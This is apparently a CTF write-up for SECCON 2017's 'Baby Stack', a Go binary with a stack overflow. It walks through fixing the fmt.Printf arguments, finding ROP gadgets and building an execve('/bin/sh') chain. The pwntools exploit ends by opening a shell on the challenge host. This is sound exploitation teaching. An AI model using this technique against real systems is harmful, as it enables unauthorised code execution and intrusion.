Baby Stack
Can you do a traditional stack attack?
Host : baby_stack.pwn.seccon.jp
Port : 15285
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8
Overflow the Buffer
We have a go executable which is harder to reverse than c, by reading the challenge title we can see that this challenge is probably about a buffer overflow in the stack, another thing we also notice that the binary is statically linked:
1 2
| $ file baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, with debug_info, not stripped
|
Since is statically linked we know that this binary isn’t going to use the libc file in our system, every libc function used is embedded in the binary itself, this a problem we can’t just jump into libc because some useful functions like system aren’t present, but we can still build a ROP chain that does a system call to execve, this is very similar to writting shellcode but instead of writting a script we are going to use gadgets to build it.
By checking the security of the binary we can see the only protection enabled is NX (Non-Executable Stack).
1 2 3 4 5 6
| checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled
|
We don’t have a stack canary to stop us so the first thing to do is to run the binary:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| $ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 Please tell me your name >> A Give me your message >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa unexpected fault address 0x0 fatal error: fault [signal 0xb code=0x80 addr=0x0 pc=0x456551] goroutine 1 [running]: runtime.throw(0x507550, 0x5) /usr/lib/go-1.6/src/runtime/panic.go:547 +0x90 fp=0xc82003f5b8 sp=0xc82003f5a0 runtime.sigpanic() /usr/lib/go-1.6/src/runtime/sigpanic_unix.go:27 +0x2ab fp=0xc82003f608 sp=0xc82003f5b8 runtime.memmove(0xc82008a00b, 0x4141414141414141, 0x61414141) /usr/lib/go-1.6/src/runtime/memmove_amd64.s:83 +0x91 fp=0xc82003f610 sp=0xc82003f608 fmt.(*fmt).padString(0xc82006ebb8, 0x4141414141414141, 0x61414141) /usr/lib/go-1.6/src/fmt/format.go:130 +0x456 fp=0xc82003f730 sp=0xc82003f610 fmt.(*fmt).fmt_s(0xc82006ebb8, 0x4141414141414141, 0x61414141) /usr/lib/go-1.6/src/fmt/format.go:322 +0x61 fp=0xc82003f760 sp=0xc82003f730 fmt.(*pp).fmtString(0xc82006eb60, 0x4141414141414141, 0x61414141, 0xc800000073) /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc fp=0xc82003f790 sp=0xc82003f760 fmt.(*pp).printArg(0xc82006eb60, 0x4c1c00, 0xc82000a380, 0x73, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95 fp=0xc82003f918 sp=0xc82003f790 fmt.(*pp).doPrintf(0xc82006eb60, 0x5220a0, 0x18, 0xc82003fea8, 0x2, 0x2) /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd fp=0xc82003fca0 sp=0xc82003f918 fmt.Fprintf(0x7fcd857d21e8, 0xc82002c010, 0x5220a0, 0x18, 0xc82003fea8, 0x2, 0x2, 0x40beee, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:188 +0x74 fp=0xc82003fce8 sp=0xc82003fca0 fmt.Printf(0x5220a0, 0x18, 0xc82003fea8, 0x2, 0x2, 0x20, 0x0, 0x0) /usr/lib/go-1.6/src/fmt/print.go:197 +0x94 fp=0xc82003fd50 sp=0xc82003fce8 main.main() /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e fp=0xc82003ff50 sp=0xc82003fd50 runtime.main() /usr/lib/go-1.6/src/runtime/proc.go:188 +0x2b0 fp=0xc82003ffa0 sp=0xc82003ff50 runtime.goexit() /usr/lib/go-1.6/src/runtime/asm_amd64.s:1998 +0x1 fp=0xc82003ffa8 sp=0xc82003ffa0
|
We did overflow the buffer but what really happened here? If you look at the stack traces we aren’t really getting a segmentation fault because we are replacing the ret address, the exception is occurring because we are changing the parameters of fmt.Printf
, the binary isn’t reaching the ret
instruction because of this, we need to set some break points before this prints to put the correct addresses on them, something that doesn’t crash the program.
To check good breakpoint addresses I used IDA, radare2 was way too slow and didn’t gave me nice results on it, after opening it in IDA I searched for a function named main_main
and tryed to find a function bufio___Scanner__Scan
which in go is a function that reads inputs from the STDIN
.
Checking it on another view to check its addresses:
After setting some breakpoints in the printf’s after those 2 scans, I realised that the padding needed to reach the 1st parameter was 104 so we can start testing it in the binary:
1 2 3 4 5 6 7 8
| $ python -c "print 'A'*104 + 'BBBBBBBB'" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB $ ./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 Please tell me your name >> A Give me your message >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB ... runtime.memmove(0xc82000e30b, 0x4242424242424242, 0x1) ...
|
There it is, we are replacing the address of the string that printf
wants to print, we can’t continue overflowing the rest to reach the ret
instruction, to get this valid address I just picked a value that I got from gdb from the stack:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| gdb-peda$ b *0x4011D2 Note: breakpoint 1 also set at pc 0x4011d2. Breakpoint 2 at 0x4011d2: file /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go, line 18. gdb-peda$ r Starting program: /baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 [New LWP 8293] [New LWP 8294] [New LWP 8295] Please tell me your name >> A [----------------------------------registers-----------------------------------] RAX: 0x1 RBX: 0x0 RCX: 0xc82000a2c1 --> 0x41 ('A') RDX: 0xc820074000 --> 0xa41 ('A\n') RSI: 0xc820074000 --> 0xa41 ('A\n') RDI: 0xc82000a2c1 --> 0x41 ('A') RBP: 0x0 RSP: 0xc82003fd50 --> 0x521e40 ("Give me your message >> ") RIP: 0x4011d2 (<main.main+466>: call 0x45ac40 <fmt.Printf>) R8 : 0x1 R9 : 0x1000 R10: 0xc820074000 --> 0xa41 ('A\n') R11: 0x202 R12: 0x15 R13: 0x536a54 --> 0x201fe001001e4 R14: 0x1 R15: 0x8 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4011c3 <main.main+451>: mov QWORD PTR [rsp+0x10],rbx 0x4011c8 <main.main+456>: mov QWORD PTR [rsp+0x18],rbx 0x4011cd <main.main+461>: mov QWORD PTR [rsp+0x20],rbx => 0x4011d2 <main.main+466>: call 0x45ac40 <fmt.Printf> 0x4011d7 <main.main+471>: mov rbx,QWORD PTR [rsp+0x80] 0x4011df <main.main+479>: mov QWORD PTR [rsp],rbx 0x4011e3 <main.main+483>: call 0x46cbc0 <bufio.(*Scanner).Scan> 0x4011e8 <main.main+488>: mov rax,QWORD PTR [rsp+0x80] No argument [------------------------------------stack-------------------------------------] 0000| 0xc82003fd50 --> 0x521e40 ("Give me your message >> ") 0008| 0xc82003fd58 --> 0x18 0016| 0xc82003fd60 --> 0x0 0024| 0xc82003fd68 --> 0x0 0032| 0xc82003fd70 --> 0x0 0040| 0xc82003fd78 --> 0x1 0048| 0xc82003fd80 --> 0x0 0056| 0xc82003fd88 --> 0x0 [------------------------------------------------------------------------------]
|
For example an address from the stack can be something like 0xc82003fd58
with this we can start writing the exploit:
1 2 3 4 5 6 7 8
| from pwn import * padding = 'A' * 104 + p64(0xc82003fd58) + 'AAAAAAAA' process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') r.recvuntil('Please tell me your name >> ') r.sendline('A') r.recvuntil('Give me your message >> ') r.sendline(padding) r.interactive()
|
By running it we can see we are still replacing another parameter from printf
:
1 2 3 4 5 6 7 8 9
| python writeup.py [+] Starting local process './baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8': pid 8433 [*] Switching to interactive mode panic: runtime error: growslice: cap out of range goroutine 1 [running]: panic(0x4e4800, 0xc820070280) /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6 fmt.(*fmt).padString(0xc820076ef8, 0xc82003fd58, 0x4141414141414141)
|
In this case we are replacing the number of characters that are going to be printed by printf! for example if we set the next 8 bytes to be 0x0000000000000002
, printf
will print 2 characters starting by the address we gave before in the previous 8 bytes (0xc82003fd58
). So lets readjust our script to do this:
1 2 3 4 5 6 7 8
| from pwn import * padding = 'A' * 104 + p64(0xc82003fd58) + p64(0x3) process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') r.recvuntil('Please tell me your name >> ') r.sendline('A') r.recvuntil('Give me your message >> ') r.sendline(padding) r.interactive()
|
1 2 3 4 5
| $ python writeup.py ... Thank you, \x18\x00\x00! msg : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [*] Got EOF while reading in interactive
|
As you can see we are no longer seg faulting and as I said before you can see that only 3 bytes are being printed after the string “Thank you, “ we need to calculate the offset to the next printf
and do the same thing, give an address and the number of bytes to be printed, only then we can replace the return address with success! So after calculating everything our script will look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * off_printf1 = 104 off_printf2 = 80 off_retaddress = 192 padding_printf1 = 'A' * off_printf1 + p64(0xc82003fd58) + p64(0x3) padding_printf2 = 'A' * off_printf2 + p64(0xc82003fd58) + p64(0x3) padding_retaddresss = 'A'*off_retaddress + p64(0xdeadbeef) padding = padding_printf1 + padding_printf2 + padding_retaddresss r = process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') r.recvuntil('Please tell me your name >> ') r.sendline('A') r.recvuntil('Give me your message >> ') r.sendline(padding) r.interactive()
|
And finally we succefully smashed the stack! and replaced the return address to 0xdeadbeef
:
1 2 3 4 5 6 7
| $ python writeup.py ... Thank you, \x18\x00\x00! msg : X� unexpected fault address 0xdeadbeef fatal error: fault [signal 0xb code=0x1 addr=0xdeadbeef pc=0xdeadbeef]
|
Build a ropchain
Now that we replaced the return address to 0xdeadbeef
we can finally start by doing our ropchain, to build this ropchain we need to know a bit of assembly but first we need to know how a syscall works as assembly and which registers it uses as arguments:
1
| syscall(RAX, RDI, RSI, RDX)
|
Where RAX
is the system call number and RDI
must have an address that points into ‘/bin/sh’ the rest of the registers are about the arguments! in this case we can just set them into zeros… So to build a successful ropchain we need to search some good gadgets.
Setting /bin/sh address to RDI
First of all we need to store /bin/sh into memory, we need a valid address to store it so we actually need to find a nice one to store our string, normally we want to use the .bss data segment, we can find it’s address in IDA:
.bss is perfect its address doesn’t change on different runs because PIE
protection isn’t enabled, and as the picture above says in IDA we have read
and write
permissions which is what we want.
Now we need a special gadget for this, we need something that moves data from a register into a memory address, the ideal gadget would be MOV [RDI], RAX
, with the preference that it’s a qword MOV, since /bin/sh is a quite big string we need a 64bit MOV (if a 64 bit MOV weren’t available we could do it by spliting into multiple moves), so lets check with ROPGadgets, if we have a 64bit MOV:
1 2 3 4 5 6 7
| ROPgadget --binary baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep 'mov qword ptr \[rdi\], ' 0x000000000045681b : clc ; mov qword ptr [rdi], rax ; mov qword ptr [rdi + rbx - 8], rcx ; ret 0x0000000000456826 : mov eax, dword ptr [rsi] ; mov qword ptr [rdi], rax ; ret 0x0000000000456490 : mov qword ptr [rdi], rax ; mov qword ptr [rdi + rbx - 8], rax ; ret 0x000000000045681c : mov qword ptr [rdi], rax ; mov qword ptr [rdi + rbx - 8], rcx ; ret 0x0000000000456499 : mov qword ptr [rdi], rax ; ret 0x0000000000456825 : mov rax, qword ptr [rsi] ; mov qword ptr [rdi], rax ; ret
|
There we go, the mov qword ptr [rdi], rax ; ret
is the gadget we need! we just need to store the .bss address into RDI
, and the string /bin/sh into RAX
, to store them into RDI
and RAX
we need gadgets like POP RDI ; RET
and POP RAX ; RET
, this gadgets will get the value on the top of the stack and store it in the respective register that’s what POP
does:
1 2 3 4 5 6 7 8
| $ ROPgadget --binary baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep 'pop rdi ;' 0x000000000044a282 : pop rdi ; adc eax, 0x24448900 ; and byte ptr [rcx], bh ; ret 0x000000000042274f : pop rdi ; add byte ptr [rax], al ; add rsp, 0x20 ; ret 0x0000000000429eea : pop rdi ; call 0x401008 0x0000000000470931 : pop rdi ; or byte ptr [rax + 0x39], cl ; ret $ ROPgadget --binary baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8 | grep 'pop rax ; ret' 0x00000000004016ea : pop rax ; ret 0x0000000000429283 : pop rax ; ret 0xf66
|
We have both gadgets but as we can see the pop rdi ; or byte ptr [rax + 0x39], cl ; ret
gadget has an instruction between POP RDI
and RET
, We require to set RAX
into a valid address before using this gadget otherwise we SEGFAULT.
Finally we have everything we need to store the address of /bin/sh into RDI
:
1 2 3 4 5 6 7 8
| # setting /bin/sh into bss address ropchain += p64(0x4016ea) # pop rax ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x0000000000470931) # pop rdi ; or byte ptr [rax + 0x39], cl ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x4016ea) # pop rax ; ret ropchain += '/bin/sh\x00' ropchain += p64(0x0000000000456499) # mov qword ptr [rdi], rax ; ret
|
Clearing RSI and RDX
Now that we have the address of /bin/sh in RDI
we need to clear the registers RSI
and RDX
into zero, we can do this with POP RET
gadgets :
1 2 3 4 5 6 7
| # clear rsi and rdx registers ropchain += p64(0x4016ea) # pop rax ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x00000000004a247c) # pop rdx ; or byte ptr [rax - 0x77], cl ; ret ropchain += p64(0x0) ropchain += p64(0x000000000046defd) # pop rsi ; ret ropchain += p64(0x0)
|
And finally we can’t forget to set RAX
into the execve system call number which is 0x3b
, you can get a full list of system call numbers at https://filippo.io/linux-syscall-table/ , once again we can use POP RET
gadget to do this:
Setting 0x3b into RAX
1 2 3 4 5 6
| # setting rax into execve 0x3b syscall number ropchain += p64(0x00000000004016ea) # pop rax ; ret ropchain += p64(0x3b) # call system call ropchain += p64(0x0000000000456889) # syscall ; ret
|
My final Exploit will look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * def getConn(): return process('./baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8') if local else remote('baby_stack.pwn.seccon.jp', 15285) local = False r = getConn() padding = 'A' * 104 r.recvuntil('Please tell me your name >> ') r.sendline('A') r.recvuntil('Give me your message >> ') BSS = 0x59F920 ropchain = '' # setting /bin/sh into bss address ropchain += p64(0x4016ea) # pop rax ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x0000000000470931) # pop rdi ; or byte ptr [rax + 0x39], cl ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x4016ea) # pop rax ; ret ropchain += '/bin/sh\x00' ropchain += p64(0x0000000000456499) # mov qword ptr [rdi], rax ; ret # clear rsi and rdx registers ropchain += p64(0x4016ea) # pop rax ; ret ropchain += p64(BSS) # @.data ropchain += p64(0x00000000004a247c) # pop rdx ; or byte ptr [rax - 0x77], cl ; ret ropchain += p64(0x0) ropchain += p64(0x000000000046defd) # pop rsi ; ret ropchain += p64(0x0) # setting rax into execve 0x3b syscall number ropchain += p64(0x00000000004016ea) # pop rax ; ret ropchain += p64(0x3b) # call system call ropchain += p64(0x0000000000456889) # syscall ; ret r.sendline(padding + p64(0xc82003fd58) + p64(0x00) + 'A'*80 + p64(0xc82003fd58) + p64(0x00) + 'A'*192 + ropchain) r.interactive()
|
By running it we can get the flag:
1 2 3 4 5 6 7 8 9 10 11 12
| $ python back_stack.py [+] Opening connection to baby_stack.pwn.seccon.jp on port 15285: Done [*] Switching to interactive mode Thank you, ! msg : $ ls baby_stack flag.txt $ id uid=30831 gid=30000(baby_stack) groups=30000(baby_stack) $ cat flag.txt SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}
|